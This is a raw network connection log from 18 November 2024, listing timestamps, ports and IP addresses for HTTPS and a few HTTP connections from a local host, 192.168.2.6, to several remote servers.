Nov 18, 2024 04:41:18.937499046 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.937505007 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.937668085 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.937678099 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.937952995 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.937958002 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.938077927 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.938081980 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.938198090 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.938205004 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.938337088 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.938352108 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.938414097 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.938419104 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.938676119 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:18.938680887 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:18.985552073 CET	49746	443	192.168.2.6	142.250.186.164
Nov 18, 2024 04:41:18.985579014 CET	443	49746	142.250.186.164	192.168.2.6
Nov 18, 2024 04:41:19.062109947 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.062205076 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.062227964 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.062273026 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.062288046 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.062335968 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.062650919 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.062650919 CET	49756	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.062685966 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.062712908 CET	443	49756	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.064596891 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.064672947 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.064740896 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.064793110 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.064888954 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.064908981 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.064923048 CET	49755	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.064929008 CET	443	49755	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.065617085 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.065624952 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.065634966 CET	49753	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.065639019 CET	443	49753	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.065805912 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.065850973 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.068308115 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.068308115 CET	49752	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.068330050 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.068348885 CET	443	49752	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.069833994 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.069935083 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.069994926 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.072045088 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.072045088 CET	49754	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.072060108 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.072069883 CET	443	49754	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.078301907 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.078353882 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.078471899 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.081671000 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.081710100 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.081773043 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.082468033 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.082494020 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.083127975 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.083143950 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.084697962 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.084728956 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.084849119 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.084907055 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.084917068 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.085591078 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.085613966 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.085670948 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.085673094 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.085684061 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.085724115 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.085834980 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.085849047 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.085870028 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.085882902 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.810579062 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.810980082 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.810996056 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.811419964 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.811424971 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.811481953 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.811784983 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.811814070 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.812326908 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.812335014 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.823018074 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.823497057 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.823524952 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.823805094 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.824049950 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.824055910 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.824208021 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.824225903 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.824589968 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.824594975 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.826651096 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.827011108 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.827099085 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.827403069 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.827418089 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.837395906 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:19.837424040 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:19.837503910 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:19.858455896 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:19.858483076 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:19.938790083 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.938957930 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.939007044 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.939237118 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.939251900 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.939264059 CET	49762	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.939270973 CET	443	49762	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.941538095 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.941611052 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.941704035 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.947282076 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.947282076 CET	49758	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.947303057 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.947323084 CET	443	49758	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.951108932 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.951158047 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.951236963 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.953890085 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.953917027 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.954036951 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.954758883 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.954777002 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.955110073 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.955240965 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.955291033 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.955368996 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.955382109 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.955396891 CET	49761	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.955403090 CET	443	49761	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.955410004 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.955481052 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.955662012 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.956259012 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.956279039 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.956293106 CET	49760	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.956299067 CET	443	49760	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.958308935 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.958383083 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.958451033 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.958564997 CET	49759	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.958611965 CET	443	49759	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.982963085 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.982986927 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.988451004 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.988480091 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.988552094 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.988977909 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.988995075 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.990031958 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.990057945 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.990143061 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.990355968 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.990367889 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.990648985 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.990691900 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:19.991033077 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.991338015 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:19.991353989 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.688992977 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.689836979 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.689851046 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.690345049 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.690351963 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.708419085 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:20.708513975 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:20.711689949 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:20.711695910 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:20.712133884 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:20.728077888 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:20.728091002 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:20.728359938 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:20.728616953 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:20.728631020 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:20.738363028 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.738686085 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.739052057 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.739134073 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.760072947 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.760094881 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.760616064 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.760622025 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.760929108 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.760941029 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.761332035 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.761337996 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.761749983 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.761779070 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.762185097 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.762192011 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.762509108 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.762517929 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.762912035 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.762917995 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.766133070 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:20.821186066 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.821253061 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.821302891 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.868190050 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.868213892 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.883852005 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.883941889 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.884022951 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.885169029 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.885205984 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.888912916 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.888966084 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.889009953 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.889138937 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.889156103 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.889193058 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.889199972 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.890348911 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.890508890 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.890588045 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.890868902 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.890887976 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.890902996 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.890911102 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.892208099 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.892301083 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.892380953 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.893805981 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.893825054 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.893840075 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.893845081 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.895230055 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.895462990 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.895505905 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.895603895 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.895610094 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.895625114 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.895629883 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.905189991 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.905213118 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.905277014 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906182051 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906213045 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906220913 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.906227112 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.906289101 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906378031 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906390905 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.906498909 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906510115 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.906604052 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906783104 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906789064 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906795025 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.906804085 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.906850100 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906948090 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:20.906955957 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:20.927668095 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:20.971335888 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.081008911 CET	49710	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:21.081264019 CET	49783	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:21.087508917 CET	80	49710	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:21.088479996 CET	80	49783	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:21.088536024 CET	49783	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:21.088715076 CET	49783	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:21.097337961 CET	80	49783	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:21.209002018 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.209026098 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.209033966 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.209069014 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.209093094 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.209104061 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.209147930 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:21.209163904 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.209177017 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:21.209207058 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:21.209851027 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.209928989 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:21.209935904 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.210205078 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.210251093 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:21.225658894 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:21.225668907 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.225680113 CET	49767	443	192.168.2.6	20.12.23.50
Nov 18, 2024 04:41:21.225684881 CET	443	49767	20.12.23.50	192.168.2.6
Nov 18, 2024 04:41:21.590843916 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.591037035 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.591044903 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.592067003 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.592123985 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.593040943 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.593102932 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.593240023 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.593247890 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.611951113 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.623090029 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.643764973 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.644550085 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.650037050 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.652992964 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.660198927 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.675860882 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.691606045 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.691611052 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.707143068 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.816278934 CET	49786	443	192.168.2.6	142.250.186.174
Nov 18, 2024 04:41:21.816324949 CET	443	49786	142.250.186.174	192.168.2.6
Nov 18, 2024 04:41:21.816406012 CET	49786	443	192.168.2.6	142.250.186.174
Nov 18, 2024 04:41:21.816812038 CET	49786	443	192.168.2.6	142.250.186.174
Nov 18, 2024 04:41:21.816828012 CET	443	49786	142.250.186.174	192.168.2.6
Nov 18, 2024 04:41:21.838423014 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.838464975 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.838498116 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.838535070 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.838550091 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.838573933 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.838594913 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.838598013 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.838632107 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.838855982 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.846856117 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.846903086 CET	49774	443	192.168.2.6	142.250.184.238
Nov 18, 2024 04:41:21.846913099 CET	443	49774	142.250.184.238	192.168.2.6
Nov 18, 2024 04:41:21.860904932 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.860929966 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.861382008 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.861398935 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.862086058 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.862104893 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.862768888 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.862776041 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.863017082 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.863044977 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.863596916 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.863607883 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:21.864226103 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:21.864239931 CET	443	49776	13.107.246.45	192.168.2.6
